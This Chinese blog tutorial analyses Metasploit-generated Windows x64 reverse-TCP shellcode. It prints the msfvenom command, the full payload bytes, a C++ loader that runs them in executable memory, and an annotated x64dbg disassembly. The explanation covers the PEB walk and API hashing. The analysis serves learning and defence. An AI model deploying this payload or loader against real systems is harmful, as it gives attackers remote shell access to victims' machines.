【逆向学习】深入分析msf生成windows X64下的shellcode实现
零、前言
本来是臭打二进制的,刚刚学习完liunx的shellcode https://www.cnblogs.com/resea/p/18881947 想了一下要不学一下windows的,后来正好要取做hvv了,索性分析一下木马,第一次接触windows,写的不好请师傅们多指正
前置天赋点:
- windows 编程
- x86 和 x64 汇编
- 调试器
环境:
- vs2022
本文第二次更新:
- 使用x64dgb更加清晰
- 几乎重构了全文
一、生成木马
使用以下命令生成一个木马
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x64 --platform windows

结果:
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x64"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
1.1 方法一:使用vs2020
丢到vs2022里面,写一些代码
#include <windows.h>
#include <iostream>
unsigned char shellcode[] = "把上面的丢过来替换我";
int main() {
void* exec = VirtualAlloc(nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {
std::cerr << "VirtualAlloc failed." << std::endl;
return -1;
}
memcpy(exec, shellcode, sizeof(shellcode));
std::cout << "Executing shellcode..." << std::endl;
((void(*)())exec)();
return 0;
}
然后点击这里下断点

运行

打开反编译

复制地址

在反编译打开

这些就是shellcode了
1.2 使用x64dbg(推荐)
打开一个记事本,然后在x64dbg附加到记事本

接下来随便找一片内存,填充为NOP

在内存窗口打开

在内存中粘贴
\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x64\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5

二、具体分析
先贴分析前的代码,你的地址肯定和我的不一样,这是PIE,但是汇编内容应该大差不差,可以先跳过。
00007FFD0C4E89F9 | 90 | nop |
00007FFD0C4E89FA | FC | cld |
00007FFD0C4E89FB | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0 |
00007FFD0C4E89FF | E8 C0000000 | call ntdll.7FFD0C4E8AC4 |
00007FFD0C4E8A04 | 41:51 | push r9 |
00007FFD0C4E8A06 | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8A08 | 52 | push rdx |
00007FFD0C4E8A09 | 51 | push rcx | rcx:NtQueryInformationThread+14
00007FFD0C4E8A0A | 56 | push rsi |
00007FFD0C4E8A0B | 48:31D2 | xor rdx,rdx |
00007FFD0C4E8A0E | 6548:8B52 60 | mov rdx,qword ptr gs:[rdx+60] |
00007FFD0C4E8A13 | 48:8B52 18 | mov rdx,qword ptr ds:[rdx+18] |
00007FFD0C4E8A17 | 48:8B52 20 | mov rdx,qword ptr ds:[rdx+20] |
00007FFD0C4E8A1B | 48:8B72 50 | mov rsi,qword ptr ds:[rdx+50] |
00007FFD0C4E8A1F | 48:0FB74A 4A | movzx rcx,word ptr ds:[rdx+4A] | rcx:NtQueryInformationThread+14
00007FFD0C4E8A24 | 4D:31C9 | xor r9,r9 |
00007FFD0C4E8A27 | 48:31C0 | xor rax,rax |
00007FFD0C4E8A2A | AC | lodsb |
00007FFD0C4E8A2B | 3C 61 | cmp al,61 | 61:'a'
00007FFD0C4E8A2D | 7C 02 | jl ntdll.7FFD0C4E8A31 |
00007FFD0C4E8A2F | 2C 20 | sub al,20 |
00007FFD0C4E8A31 | 41:C1C9 0D | ror r9d,D |
00007FFD0C4E8A35 | 41:01C1 | add r9d,eax |
00007FFD0C4E8A38 | E2 ED | loop ntdll.7FFD0C4E8A27 |
00007FFD0C4E8A3A | 52 | push rdx |
00007FFD0C4E8A3B | 41:51 | push r9 |
00007FFD0C4E8A3D | 48:8B52 20 | mov rdx,qword ptr ds:[rdx+20] |
00007FFD0C4E8A41 | 8B42 3C | mov eax,dword ptr ds:[rdx+3C] |
00007FFD0C4E8A44 | 48:01D0 | add rax,rdx |
00007FFD0C4E8A47 | 8B80 88000000 | mov eax,dword ptr ds:[rax+88] |
00007FFD0C4E8A4D | 48:85C0 | test rax,rax |
00007FFD0C4E8A50 | 74 67 | je ntdll.7FFD0C4E8AB9 |
00007FFD0C4E8A52 | 48:01D0 | add rax,rdx |
00007FFD0C4E8A55 | 50 | push rax |
00007FFD0C4E8A56 | 8B48 18 | mov ecx,dword ptr ds:[rax+18] |
00007FFD0C4E8A59 | 44:8B40 20 | mov r8d,dword ptr ds:[rax+20] |
00007FFD0C4E8A5D | 49:01D0 | add r8,rdx | r8:&"吚x\n€|$@"
00007FFD0C4E8A60 | E3 56 | jrcxz ntdll.7FFD0C4E8AB8 |
00007FFD0C4E8A62 | 48:FFC9 | dec rcx | rcx:NtQueryInformationThread+14
00007FFD0C4E8A65 | 41:8B3488 | mov esi,dword ptr ds:[r8+rcx*4] |
00007FFD0C4E8A69 | 48:01D6 | add rsi,rdx |
00007FFD0C4E8A6C | 4D:31C9 | xor r9,r9 |
00007FFD0C4E8A6F | 48:31C0 | xor rax,rax |
00007FFD0C4E8A72 | AC | lodsb |
00007FFD0C4E8A73 | 41:C1C9 0D | ror r9d,D |
00007FFD0C4E8A77 | 41:01C1 | add r9d,eax |
00007FFD0C4E8A7A | 38E0 | cmp al,ah |
00007FFD0C4E8A7C | 75 F1 | jne ntdll.7FFD0C4E8A6F |
00007FFD0C4E8A7E | 4C:034C24 08 | add r9,qword ptr ss:[rsp+8] | [rsp+08]:RtlQueryElevationFlags+1A9
00007FFD0C4E8A83 | 45:39D1 | cmp r9d,r10d |
00007FFD0C4E8A86 | 75 D8 | jne ntdll.7FFD0C4E8A60 |
00007FFD0C4E8A88 | 58 | pop rax |
00007FFD0C4E8A89 | 44:8B40 24 | mov r8d,dword ptr ds:[rax+24] |
00007FFD0C4E8A8D | 49:01D0 | add r8,rdx | r8:&"吚x\n€|$@"
00007FFD0C4E8A90 | 6641:8B0C48 | mov cx,word ptr ds:[r8+rcx*2] |
00007FFD0C4E8A95 | 44:8B40 1C | mov r8d,dword ptr ds:[rax+1C] |
00007FFD0C4E8A99 | 49:01D0 | add r8,rdx | r8:&"吚x\n€|$@"
00007FFD0C4E8A9C | 41:8B0488 | mov eax,dword ptr ds:[r8+rcx*4] |
00007FFD0C4E8AA0 | 48:01D0 | add rax,rdx |
00007FFD0C4E8AA3 | 41:58 | pop r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8AA5 | 41:58 | pop r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8AA7 | 5E | pop rsi |
00007FFD0C4E8AA8 | 59 | pop rcx | rcx:NtQueryInformationThread+14
00007FFD0C4E8AA9 | 5A | pop rdx |
00007FFD0C4E8AAA | 41:58 | pop r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8AAC | 41:59 | pop r9 |
00007FFD0C4E8AAE | 41:5A | pop r10 |
00007FFD0C4E8AB0 | 48:83EC 20 | sub rsp,20 |
00007FFD0C4E8AB4 | 41:52 | push r10 |
00007FFD0C4E8AB6 | FFE0 | jmp rax |
00007FFD0C4E8AB8 | 58 | pop rax |
00007FFD0C4E8AB9 | 41:59 | pop r9 |
00007FFD0C4E8ABB | 5A | pop rdx |
00007FFD0C4E8ABC | 48:8B12 | mov rdx,qword ptr ds:[rdx] |
00007FFD0C4E8ABF | E9 57FFFFFF | jmp ntdll.7FFD0C4E8A1B |
00007FFD0C4E8AC4 | 5D | pop rbp |
00007FFD0C4E8AC5 | 49:BE 7773325F3332 | mov r14,32335F327377 | r14:"LdrpInitializeProcess"
00007FFD0C4E8ACF | 41:56 | push r14 | r14:"LdrpInitializeProcess"
00007FFD0C4E8AD1 | 49:89E6 | mov r14,rsp |
00007FFD0C4E8AD4 | 48:81EC A0010000 | sub rsp,1A0 |
00007FFD0C4E8ADB | 49:89E5 | mov r13,rsp |
00007FFD0C4E8ADE | 49:BC 0200115CC0A8 | mov r12,6401A8C05C110002 |
00007FFD0C4E8AE8 | 41:54 | push r12 |
00007FFD0C4E8AEA | 49:89E4 | mov r12,rsp |
00007FFD0C4E8AED | 4C:89F1 | mov rcx,r14 | rcx:NtQueryInformationThread+14, r14:"LdrpInitializeProcess"
00007FFD0C4E8AF0 | 41:BA 4C772607 | mov r10d,726774C |
00007FFD0C4E8AF6 | FFD5 | call rbp |
00007FFD0C4E8AF8 | 4C:89EA | mov rdx,r13 |
00007FFD0C4E8AFB | 68 01010000 | push 101 |
00007FFD0C4E8B00 | 59 | pop rcx | rcx:NtQueryInformationThread+14
00007FFD0C4E8B01 | 41:BA 29806B00 | mov r10d,6B8029 |
00007FFD0C4E8B07 | FFD5 | call rbp |
00007FFD0C4E8B09 | 50 | push rax |
00007FFD0C4E8B0A | 50 | push rax |
00007FFD0C4E8B0B | 4D:31C9 | xor r9,r9 |
00007FFD0C4E8B0E | 4D:31C0 | xor r8,r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B11 | 48:FFC0 | inc rax |
00007FFD0C4E8B14 | 48:89C2 | mov rdx,rax |
00007FFD0C4E8B17 | 48:FFC0 | inc rax |
00007FFD0C4E8B1A | 48:89C1 | mov rcx,rax | rcx:NtQueryInformationThread+14
00007FFD0C4E8B1D | 41:BA EA0FDFE0 | mov r10d,E0DF0FEA |
00007FFD0C4E8B23 | FFD5 | call rbp |
00007FFD0C4E8B25 | 48:89C7 | mov rdi,rax |
00007FFD0C4E8B28 | 6A 10 | push 10 |
00007FFD0C4E8B2A | 41:58 | pop r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B2C | 4C:89E2 | mov rdx,r12 |
00007FFD0C4E8B2F | 48:89F9 | mov rcx,rdi | rcx:NtQueryInformationThread+14
00007FFD0C4E8B32 | 41:BA 99A57461 | mov r10d,6174A599 |
00007FFD0C4E8B38 | FFD5 | call rbp |
00007FFD0C4E8B3A | 48:81C4 40020000 | add rsp,240 |
00007FFD0C4E8B41 | 49:B8 636D64000000 | mov r8,646D63 | r8:&"吚x\n€|$@"
00007FFD0C4E8B4B | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B4D | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B4F | 48:89E2 | mov rdx,rsp |
00007FFD0C4E8B52 | 57 | push rdi |
00007FFD0C4E8B53 | 57 | push rdi |
00007FFD0C4E8B54 | 57 | push rdi |
00007FFD0C4E8B55 | 4D:31C0 | xor r8,r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B58 | 6A 0D | push D |
00007FFD0C4E8B5A | 59 | pop rcx | rcx:NtQueryInformationThread+14
00007FFD0C4E8B5B | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B5D | E2 FC | loop ntdll.7FFD0C4E8B5B |
00007FFD0C4E8B5F | 66:C74424 54 0101 | mov word ptr ss:[rsp+54],101 |
00007FFD0C4E8B66 | 48:8D4424 18 | lea rax,qword ptr ss:[rsp+18] |
00007FFD0C4E8B6B | C600 68 | mov byte ptr ds:[rax],68 | 68:'h'
00007FFD0C4E8B6E | 48:89E6 | mov rsi,rsp |
00007FFD0C4E8B71 | 56 | push rsi |
00007FFD0C4E8B72 | 50 | push rax |
00007FFD0C4E8B73 | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B75 | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B77 | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B79 | 49:FFC0 | inc r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B7C | 41:50 | push r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B7E | 49:FFC8 | dec r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B81 | 4D:89C1 | mov r9,r8 | r8:&"吚x\n€|$@"
00007FFD0C4E8B84 | 4C:89C1 | mov rcx,r8 | rcx:NtQueryInformationThread+14, r8:&"吚x\n€|$@"
00007FFD0C4E8B87 | 41:BA 79CC3F86 | mov r10d,863FCC79 |
00007FFD0C4E8B8D | FFD5 | call rbp |
00007FFD0C4E8B8F | 48:31D2 | xor rdx,rdx |
00007FFD0C4E8B92 | 48:FFCA | dec rdx |
00007FFD0C4E8B95 | 8B0E | mov ecx,dword ptr ds:[rsi] |
00007FFD0C4E8B97 | 41:BA 08871D60 | mov r10d,601D8708 |
00007FFD0C4E8B9D | FFD5 | call rbp |
00007FFD0C4E8B9F | BB F0B5A256 | mov ebx,56A2B5F0 |
00007FFD0C4E8BA4 | 41:BA A695BD9D | mov r10d,9DBD95A6 |
00007FFD0C4E8BAA | FFD5 | call rbp |
00007FFD0C4E8BAC | 48:83C4 28 | add rsp,28 |
00007FFD0C4E8BB0 | 3C 06 | cmp al,6 |
00007FFD0C4E8BB2 | 7C 0A | jl ntdll.7FFD0C4E8BBE |
00007FFD0C4E8BB4 | 80FB E0 | cmp bl,E0 |
00007FFD0C4E8BB7 | 75 05 | jne ntdll.7FFD0C4E8BBE |
00007FFD0C4E8BB9 | BB 4713726F | mov ebx,6F721347 |
00007FFD0C4E8BBE | 6A 00 | push 0 |
00007FFD0C4E8BC0 | 59 | pop rcx | rcx:NtQueryInformationThread+14
00007FFD0C4E8BC1 | 41:89DA | mov r10d,ebx |
00007FFD0C4E8BC4 | FFD5 | call rbp |
2.1 开始初始化
首先清理执行方向和栈指正,因为shellcode往往会被以奇怪的方式(分段加载,延迟加载,一边加密一边解密之类的)加载到内存中,所以要先准备环境
;------------1 初始化栈和执行方向 ----------------------
; 清除方向标志,确保后续字符串/循环指令(如 lods、stos)按递增方向处理
00007FFD0C4E89FA | FC | cld |
; 对齐栈指针
00007FFD0C4E89FB | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0 |
;------------2 获得本体地址----------------------------
00007FFD0C4E89FF | E8 C0000000 | call ntdll.7FFD0C4E8AC4 |
然后call 一下一个地址,这里是反编译错误,shellcoe使用的是位置无关代码,不可能写死000001FCD15400CA
2.1.1 为什么call了一下?

观察字节码对应的汇编:
E8 xx xx xx xx是一个固定格式:
E8是call的操作码,表示“调用一个函数”
后面4个字节是一个相对于下一条指令(RIP)的有符号 32 位偏移量(rel32)
; 错误
00007FFD0C4E89FF | E8 C0000000 | call ntdll.7FFD0C4E8AC4 |
发现并不是call了一个绝对地址,而是C0000000(小端序)即0xC0(十进制198),正好是196条指令后的pop rbp,所以应当改正为:call c0h
00007FFD0C4E89FF | E8 C0000000 | call c0h
2.2 寻找本体地址
call到了这里

在开始运行前,我们看看栈:

重点看:

返回自=00007FFD0C4E8AC4不觉得有点眼熟吗?

对的,就是call的下一条指令地址,只要pop即可获取程序本体的地址。
;-------------3. 获取本体地址+保存字符串--------------------------
; “Call/Pop” Trick到此处,将call下一条地址弹入rbp获得程序位置
; 可以由rbp计算shellcode 本身在内存中的基地址,后续用它来做相对寻址
00007FFD0C4E8AC4 | 5D | pop rbp |
接下来写入"ws2_32"字符串
; 把"ws2_32"按小段序写入r14
push r14 ; "ws2_32"压入栈
mov r14,rsp ; 保存栈顶位置到r14(即"ws2_32"位置)
2.2.1 什么是"ws2_32"
ws2_32是Windows系统中的一个动态链接库(DLL文件的名称,完整文件名是:ws2_32.dll
它的作用是?
ws2_32.dll是Windows提供的Windows Sockets 2 API的实现库,简称Winsock 2。它提供了用于网络通信的一系列函数,说白了用来打开远程shell的
接下来如法炮制,写入6401A8C05C110002h到栈上并且获取地址
; 提高栈
00007FFD0C4E8AD4 | 48:81EC A0010000 | sub rsp,1A0 |
; 写入栈
00007FFD0C4E8ADB | 49:89E5 | mov r13,rsp |
00007FFD0C4E8ADE | 49:BC 0200115CC0A80164 | mov r12,6401A8C05C110002 |
00007FFD0C4E8AE8 | 41:54 | push r12 |
; 拿地址
00007FFD0C4E8AEA | 49:89E4 | mov r12,rsp |
2.2.2 为什么是6401A8C05C110002h
| 字段 | 解释 |
|---|---|
C0 A8 01 64 |
IP 地址 → 192.168.1.100 |
5C 11 |
端口号(小端)→ 0x115C = 4444 |
02 00 |
协议族 = AF_INET(0x0002) |
是传递给 sockaddr_in 结构体的内容,用于 connect() 或 bind() 调用:
struct sockaddr_in {
short sin_family; // 0x0002 → AF_INET
unsigned short sin_port; // 0x115C → port 4444 (小端)
struct in_addr sin_addr; // 192.168.1.100
};
然后进行收尾
00007FFD0C4E8AED | 4C:89F1 | mov rcx,r14 | rcx:"ws2_32", r14:"ws2_32"
00007FFD0C4E8AF0 | 41:BA 4C772607 | mov r10d,726774C |
00007FFD0C4E8AF6 | FFD5 | call rbp | rbp:SHA256Transform+C4
2.2.3 什么是726774C?
这是一个哈希值,用于定位函数名,进行动态 API 解析
2.2.4 小总结
call rbp之前,总之干了四件事:
- 把栈底放入
rbp(相当于手动构建栈) - 把
ws2_32压入栈,地址保存在r14、rcx ip、端口、协议压入栈,地址保存在r12- 哈希值
0x726774C压入栈,地址保存在r10d
现在栈上有什么呢?

寄存器呢?

现在call rbp,就是回到了call的下一条指令,不但回到了原来执行地址,还完成了本体地址获取。
2.3 计算WinAPI地址
;------------4 计算lib地址----------------------------
; 被call回来
00007FFD0C4E8A04 | 41:51 | push r9 |
00007FFD0C4E8A06 | 41:50 | push r8 | r8:"ws2_32"
00007FFD0C4E8A08 | 52 | push rdx |
00007FFD0C4E8A09 | 51 | push rcx | rcx:"ws2_32"
00007FFD0C4E8A0A | 56 | push rsi |
压栈一堆寄存器(因为接下来要使用这些寄存器),然后清空了rdx
接下来就是通过GS 段寄存器找到PEB(进程环境块), 再遍历InMemoryOrderModuleList
00007FFD0C4E8A0B | 48:31D2 | xor rdx,rdx |
00007FFD0C4E8A0E | 6548:8B52 60 | mov rdx,qword ptr gs:[rdx+60] |
00007FFD0C4E8A13 | 48:8B52 18 | mov rdx,qword ptr ds:[rdx+18] |
00007FFD0C4E8A17 | 48:8B52 20 | mov rdx,qword ptr ds:[rdx+20] |
; 7.3 无导出表或无导出函数就会跳转到这继续查找
00007FFD0C4E8A1B | 48:8B72 50 | mov rsi,qword ptr ds:[rdx+50] |
00007FFD0C4E8A1F | 48:0FB74A 4A | movzx rcx,word ptr ds:[rdx+4A] | rcx:"ws2_32"
2.3.1 利用gs获取TEB并进一步获取PEB
基础芝士:
-
TEB(Thread Environment Block)是每个线程的线程信息结构体,记录了线程相关的信息
- 堆栈、异常处理器、
TLS、所在进程的PEB等。 - 在 64 位 Windows 中
TEB的地址存储在GS段寄存器中。也就是说,gs:[0]就是当前线程的 TEB 地址。
- 堆栈、异常处理器、
-
PEB(Process Environment Block)是当前进程的核心信息结构体,包含:
- 当前进程加载的模块列表(
Ldr) - 是否以调试状态运行
ImageBase- 还有很多
loader使用的信息(比如ntdll.dll、kernel32.dll的地址等)
- 当前进程加载的模块列表(
00007FFD0C4E8A0E | 6548:8B52 60 | mov rdx, qword ptr gs:[rdx+60]
gs:[rdx + 0x60] 表示:从 GS 寄存器指向的 TEB 结构体中偏移 0x60 处读取 8 字节内容,这里rdx= 0(之前执行了xor rdx,rdx),因此实际是gs:[0x60]。
2.3.1.1 gs:[0x60]是什么?
它是TEB的成员之一,指向当前进程的PEB,即:
TEB {
...
PVOID ProcessEnvironmentBlock; // Offset 0x60
}
2.3.2 模块查找定位
- 定位
PEB->Ldr(模块加载器的数据结构)
00007FFD0C4E8A13 | 48:8B52 18 | mov rdx, qword ptr [rdx+18]
PEB + 0x18 → PEB_LDR_DATA(模块加载器的数据结构)
结果:rdx = PEB->Ldr
- 定位第一个模块
00007FFD0C4E8A17 | 48:8B52 20 | mov rdx, qword ptr [rdx+20]
PEB_LDR_DATA + 0x20 → InMemoryOrderModuleList 的第一个节点(即第一个加载模块)
结果:rdx = 第一个模块(通常是 ntdll.dll 或 kernel32.dll)
- 获取模块名
00007FFD0C4E8A1B | 48:8B72 50 | mov rsi, qword ptr [rdx+50]
LDR_DATA_TABLE_ENTRY + 0x50 是该模块的 BaseDllName.Buffer 字符串(即模块名),类型是 UNICODE_STRING.Buffer
结果:rsi = 当前模块的名称字符串地址(例如 "ntdll.dll")
- 获取长度
00007FFD0C4E8A1F | 48:0FB74A 4A | movzx rcx, word ptr [rdx+4A]
LDR_DATA_TABLE_ENTRY + 0x4A是模块名长度(UNICODE_STRING.Length)
结果:rcx = 模块名的长度(字节单位)
GS:[0x60] → TEB.ProcessEnvironmentBlock (每个线程的线程信息结构体)
↓
PEB (当前进程的核心信息结构体)
↓
PEB.Ldr (模块加载器的数据结构)
↓
PEB_LDR_DATA.InMemoryOrderModuleList (加载模块列表)
↓
每个模块(LDR_DATA_TABLE_ENTRY)中:
+0x30 HMODULE BaseAddress (模块基本地址)
+0x4A UNICODE_STRING Length (模块名长度)
+0x50 UNICODE_STRING BaseDllName (模块名)
2.3.2.1 对应结构体
这里给出对应结构体,方便参考
- TEB(Thread Environment Block)
typedef struct _TEB {
NT_TIB NtTib; // 0x000 - TIB结构体,含堆栈信息等
PVOID EnvironmentPointer; // 0x038
CLIENT_ID ClientId; // 0x040
PVOID ActiveRpcHandle; // 0x050
PVOID ThreadLocalStoragePointer; // 0x058
PVOID ProcessEnvironmentBlock; // 0x060 👈 我们最关注的字段
// 后面字段略...
} TEB, *PTEB;
- PEB(Process Environment Block)
typedef struct _PEB {
BYTE Reserved1[2]; // 0x000
BYTE BeingDebugged; // 0x002 - 是否在调试中
BYTE Reserved2[1]; // 0x003
PVOID Reserved3[2]; // 0x004
PPEB_LDR_DATA Ldr; // 0x010 👈 指向模块加载信息
// 后面字段略...
} PEB, *PPEB;
- PEB_LDR_DATA(模块加载信息)
typedef struct _PEB_LDR_DATA {
ULONG Length; // 0x000
BOOLEAN Initialized; // 0x004
PVOID SsHandle; // 0x008
LIST_ENTRY InLoadOrderModuleList; // 0x010 - 按加载顺序排列模块
LIST_ENTRY InMemoryOrderModuleList; // 0x020 👈 常用于遍历模块
LIST_ENTRY InInitializationOrderModuleList; // 0x030
// 后面字段略...
} PEB_LDR_DATA, *PPEB_LDR_DATA;
- LDR_DATA_TABLE_ENTRY(每个模块的信息)
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks; // 0x000
LIST_ENTRY InMemoryOrderLinks; // 0x010
LIST_ENTRY InInitializationOrderLinks;// 0x020
PVOID DllBase; // 0x030 👈 模块的基地址(HMODULE)
PVOID EntryPoint; // 0x038
ULONG SizeOfImage; // 0x040
UNICODE_STRING FullDllName; // 0x048 - 含完整路径
UNICODE_STRING BaseDllName; // 0x058 👈 模块文件名(如 ws2_32.dll)
// 后面字段略...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
- UNICODE_STRING
typedef struct _UNICODE_STRING {
USHORT Length; // 字符串实际长度(单位:字节)
USHORT MaximumLength; // 最大长度(单位:字节)
PWSTR Buffer; // 指向字符串的指针(宽字符)
} UNICODE_STRING, *PUNICODE_STRING;
3.2.2.2 欸,是不是有什么好东西?(反调试)
注意到
BYTE BeingDebugged; // 0x002 - 是否在调试中
到时候做反调试的时候,不但可以依靠加载器,也可以自行判断退出
2.4 从导出表手动定位需要的函数
2.4.1 大小写转换
接下来就是把小写变成大写,把哈希值放在r9d,(已经修正了反汇编错误)
;------------ 5 哈希循环 ---------------
; 清空 r9 和 rax
00007FFD0C4E8A24 | 4D:31C9 | xor r9,r9 |
00007FFD0C4E8A27 | 48:31C0 | xor rax,rax |
; 从 地址 rsi 所指向的内存 取一个字节,加载到 al 寄存器,然后根据方向标志自动调整 rsi
; rsi此时指向模块名
00007FFD0C4E8A2A | AC | lodsb |
; 大小写转换
00007FFD0C4E8A2B | 3C 61 | cmp al,61 | 61:'a'
00007FFD0C4E8A2D | 7C 02 | jl ntdll,2h |
00007FFD0C4E8A2F | 2C 20 | sub al,20 |
; 循环控制
00007FFD0C4E8A31 | 41:C1C9 0D | ror r9d,D |
00007FFD0C4E8A35 | 41:01C1 | add r9d,eax |
00007FFD0C4E8A38 | E2 ED | loop EDh |
